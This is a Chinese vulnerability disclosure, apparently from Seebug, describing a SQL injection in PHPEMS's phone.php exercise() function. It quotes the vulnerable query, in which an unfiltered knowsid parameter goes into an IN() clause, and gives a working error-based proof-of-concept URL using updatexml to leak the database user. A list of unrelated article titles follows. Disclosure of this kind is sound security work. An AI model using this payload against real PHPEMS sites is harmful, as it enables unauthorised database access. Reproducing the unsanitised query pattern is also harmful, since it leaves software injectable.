### 简要描述:

PHPEMS一处SQL注入漏洞

### 详细说明:

8.PHPEMS某处SQL注入漏洞

存在注入漏洞的代码位置是/app/exam/phone.php的exercise()函数中

具体存在漏洞地方位于239行附近

$numbers[$p['questid']] = intval(ceil($this->exam->getQuestionNumberByQuestypeAndKnowsid($p['questid'],$knowids)));

这里getQuestionNumberByQuestypeAndKnowsid第二个参数$knowids是完全可控的

进入函数内部

public function getQuestionNumberByQuestypeAndKnowsid($questype,$knowsid)

{

if(!$knowsid)$knowsid = '0';

$data = array("count(*) AS number",array('questions','quest2knows'),array("questions.questiontype = '{$questype}'","questions.questionparent = 0","questions.questionstatus = 1","questions.questionid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 0"),false,false,false);

$sql = $this->sql->makeSelect($data);

$r = $this->db->fetch($sql);

$data = array("sum(qrnumber) AS number",array('questionrows','quest2knows'),array("questionrows.qrtype = '{$questype}'","questionrows.qrstatus = 1","questionrows.qrid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 1"),false,false,false);

$sql = $this->sql->makeSelect($data);

$m = $this->db->fetch($sql);

return $r['number']+$m['number'];

}

没有进行任何过滤就参与SQL语句整合了,于是产生了SQL注入漏洞

验证过程

注册用户,登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误

### 漏洞证明:

注册用户,登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误

php注入点判断,PHPEMS一处SQL注入漏洞相关推荐

  1. Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除

    本文作者:X_Al3r Prat 0 自白 每一天都是新的一天. 没啥吐槽的,步入正题 /system/category.php 文件一处Sql注入## 80-87行代码 $root_id = int ...

  2. SQL注入(1)--判断是否存在SQL注入漏洞

    什么是SQL注入 不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我 ...

  3. sql 整改措施 注入_记一次Sql注入 解决方案

    老大反馈代码里面存在sql注入,这个漏洞会导致系统遭受攻击,定位到对应的代码,如下图所示 image like 进行了一个字符串拼接,正常的情况下,前端传一个 cxk 过来,那么执行的sql就是 se ...

  4. SQL注入:SQL注入类型(手动)SQL注入的检测

    一.SQL注入流程 1.判断是否有SQL注入漏洞(检测) 2.判断操作系统.数据库和web应用类型 3.获取数据库信息,包括管理员信息及拖库 4.加密信息破解,sqlmap可自动破解 5.提升权限,获 ...

  5. mysql sql注入很常用_常见sql注入的类型

    这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...

  6. sql注入攻击的原理(sql注入攻击防范)

    SQL 注入(SQLi)是一种可执行恶意 SQL 语句的注入攻击.这些 SQL 语句可控制网站背后的数据库服务.攻击者可利用 SQL 漏洞绕过网站已有的安全措施.他们可绕过网站的身份认证和授权并访问整 ...

  7. php sql注入判断,php防止sql注入漏洞过滤函数的代码

    php防止sql注入漏洞过滤函数的代码 //整型化 return $id; } //字符过滤函数 function str_check($str) { if (inject_check ( $str ...

  8. mysql防注入原理_MyBatis如何防止SQL注入

    MyBatis如何防止SQL注入 SQL注入是一种代码注入技术,用于攻击数据驱动的应用,恶意的SQL语句被插入到执行的实体字段中(例如,为了转储数据库内容给攻击者).[摘自] SQL injectio ...

  9. jsp工程防止外部注入_防止 jsp被sql注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

最新文章

  1. yyyy-MM-dd HH:mm:ss和yyyy-MM-dd hh:mm:ss
  2. codeforces708C
  3. linux c 环境变量函数 getenv putenv 简介
  4. 阅读代码工具:Visual Studio Code
  5. 链表基本功能:初始化、增、删、查、改
  6. 【读书笔记】《编写高效的JavaScript程序》
  7. [css] 为什么要使用css sprites?
  8. Qt文档阅读笔记-QNetworkAccessManager官方解析与实例
  9. 需要写的一些pycoe
  10. CSS(网页样式语言)基础
  11. 大学生网课答案查询公众号搭建教程
  12. 2019年全国/全球马拉松比赛日程
  13. ice中间件 java_ICE中间件介绍以及demo
  14. 关键对话(如何高效沟通)读书总结
  15. 将数字转换成科学计数法
  16. 有哪些工具或者软件堪称神器?
  17. adpcm的压缩和解压缩实现
  18. docker修改数据目录后无法创建新的容器“docker: Error response from daemon: ******open /etc/hostname:invaild arguement
  19. 为什么我们要从MySQL迁移到TiDB?
  20. r语言归一化_R语言︱数据规范化、归一化

热门文章

  1. bt5重启网卡命令_BT5重启与关机命令 - duhaizhang的个人页面 - OSCHINA - 中文开源技术交流社区...
  2. 电脑入门学习最佳方法介绍
  3. 小程序的图片上传wx.uploadFile及后台PHP接收文件并存储到服务器
  4. jQuery制作鼠标悬停水平滑动门切换特效仿阿里妈妈联盟广告切换特效
  5. git更改origin数据源
  6. 某宝sign逆向(以商品评论采集为例)
  7. Fedora 16 安装HP USB打印机--HP K209G
  8. 感应数显测电笔的使用方法
  9. 2016美国总统经济报告:机器人就像蒸汽机革命
  10. qtQMouseEvent中的局部坐标pos()和全局坐标globalpos()